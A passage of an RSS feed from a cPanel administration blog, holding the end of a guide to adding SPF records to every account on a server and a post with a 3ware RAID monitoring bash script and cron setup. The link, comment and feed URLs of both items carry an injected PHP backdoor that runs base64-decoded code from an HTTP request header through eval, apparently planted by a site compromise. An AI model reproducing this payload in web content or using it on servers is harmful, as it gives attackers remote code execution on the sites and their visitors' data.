value =&gt; &#8216;v=spf1 a mx ?all&#8217; };<br />
}</p></blockquote>
<li>Replace this with:</li>
<blockquote><p>    foreach my $domain (@DOMAINS) {<br />
push @installlist , { match =&gt; &#8216;v=spf&#8217;,<br />
domain =&gt; $domain.&#8221;.&#8221;,<br />
record =&gt; $domain.&#8221;.&#8221;,<br />
value =&gt; &#8216;v=spf1 a mx ?all&#8217; };<br />
}</p></blockquote>
<p>I&#8217;m not a perl expert but this  should work. There might be a better way to do it and if you know one please leave a comment here.<br />
Also please note that I have opened a bug report with cPanel and I hope that they will fix the bug themselves within a reasonable timeframe.</p>
<p>Please note that the default cPanel script will add the fallowing SPF record: &#8216;v=spf1 a mx ?all&#8217; which means that for all the domains you will allow the A and MX records IP&#8217;s to send email and will be neutral to all the others (notice the ?all at the end of the record !). This is probably OK for all the situations and will cause little to no trouble, but you might want to change this if you want to have a special SPF record setup.</p>
<li>Now let&#8217;s test to see if it works. Run the fallowing</li>
<blockquote><p>/usr/local/cpanel/bin/spf_installer USERNAME</p></blockquote>
<p>Where USERNAME is the cPanel username.</p>
<p>Now check to see if the zone file has a SPF record.</ol>
<p>If everything was ok we can now add a SPF to all the domains on the server.<br />
I have created a simple bash script to do this for you.<br />
Run as root the fallowing:</p>
<blockquote><p>for i in `ls /var/cpanel/users` ;do /usr/local/cpanel/bin/spf_installer $i ;done</p></blockquote>
<p>Wait for it to finish. (it might take a few minutes!).</p>
<p>That&#8217;s about it. Hope it helps a lot a people !<br />
If you have any comments or questions don&#8217;t hesitate to leave a comment here.</p>
<p><!--adsense--></p>
]]></content:encoded>
			<wfw:commentRss>http://www.cpanelconfig.com/2007/12/27/install-spf-records-on-a-cpanel-server/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>31</slash:comments>
		</item>
		<item>
		<title>3ware RAID monitoring script</title>
		<link>http://www.cpanelconfig.com/2007/12/26/3ware-raid-monitoring-script/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/</link>
		<comments>http://www.cpanelconfig.com/2007/12/26/3ware-raid-monitoring-script/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Wed, 26 Dec 2007 22:15:55 +0000</pubDate>
		<dc:creator>yolau</dc:creator>
				<category><![CDATA[How to]]></category>
		<category><![CDATA[3ware]]></category>
		<category><![CDATA[raid]]></category>

		<guid isPermaLink="false">http://www.cpanelconfig.com/how-to/3ware-raid-monitoring-script/</guid>
		<description><![CDATA[3ware RAID cards are used by the majority of Data Centers (Layeredtech, Softlayer, etc.) so if you have a RAID card installed (which is always a good idea) you might have a 3ware card.

I don&#8217;t know if you know or not (many people don&#8217;t) but it&#8217;s your responsibility to monitor the RAID array. There will [...]]]></description>
			<content:encoded><![CDATA[<p>3ware RAID cards are used by the majority of Data Centers (Layeredtech, Softlayer, etc.) so if you have a RAID card installed (which is always a good idea) you might have a 3ware card.<br />
<!--adsense--><br />
I don&#8217;t know if you know or not (many people don&#8217;t) but it&#8217;s your responsibility to monitor the RAID array. There will be no errors on screen if something is wrong with the array until it&#8217;s too late and your system will not boot.<br />
3ware has a nice monitoring and management tool for Linux called tw_cli. While this comes with a monitoring script I found it hard to setup so I thought that I will write a personalized monitoring script that will check the status of the array and it will send me an email when the array is degraded.</p>
<p>Here are the simple steps that you have to fallow to setup this script:</p>
<ol>
<li>First you must have a 3ware RAID card. you can check this by running</li>
<blockquote><p>lspci | grep 3ware</p></blockquote>
<p>If it outputs something about a 3ware RAID card you have one.</p>
<li>Install tw_cli</li>
<blockquote><p>wget http://www.3ware.com/download/Escalade9500SSeries/9.3.0.4/tw_cli-linux-x86-9.3.0.4.tgz<br />
gzip -d tw_cli-linux-x86-9.3.0.4.tgz<br />
tar -xf tw_cli-linux-x86-9.3.0.4.tar</p></blockquote>
<p>Note the path to tw_cli !</p>
<li>Write a bash file with the fallowing</li>
<blockquote><p>#!/bin/bash<br />
com=`/path_to_ tw_cli/tw_cli info c0 u0 status | awk &#8216;{print $4}&#8217;`<br />
echo $com<br />
if [ "$com" = "DEGRADED" ];<br />
then<br />
mail -s &#8220;RAID Warning&#8221; you@domain.com &lt; body<br />
fi</p></blockquote>
<p><!--adsense--><br />
Note: You also have to make a file called &#8220;body&#8221; that will have the body of the warning email.<br />
Also replace you@domain.com with your email.</p>
<li>Schedule a cron to run this script every day or so. You can do something like this:</li>
<blockquote><p>crontab -e</p></blockquote>
<p>Add a line like:</p>
<blockquote><p>0 11,23 * * * /path_to_script/test</p></blockquote>
<p>This will test the array at 11:00 and 23:00 and will email you if it detects any problems.</p>
<li>Restart crond</li>
<blockquote><p>service crond restart</p></blockquote>
</ol>
<p><!--adsense--><br />
Hope it helps !<br />
If you have any suggestions to improve the script please leave a comment.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.cpanelconfig.com/2007/12/26/3ware-raid-monitoring-script/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>
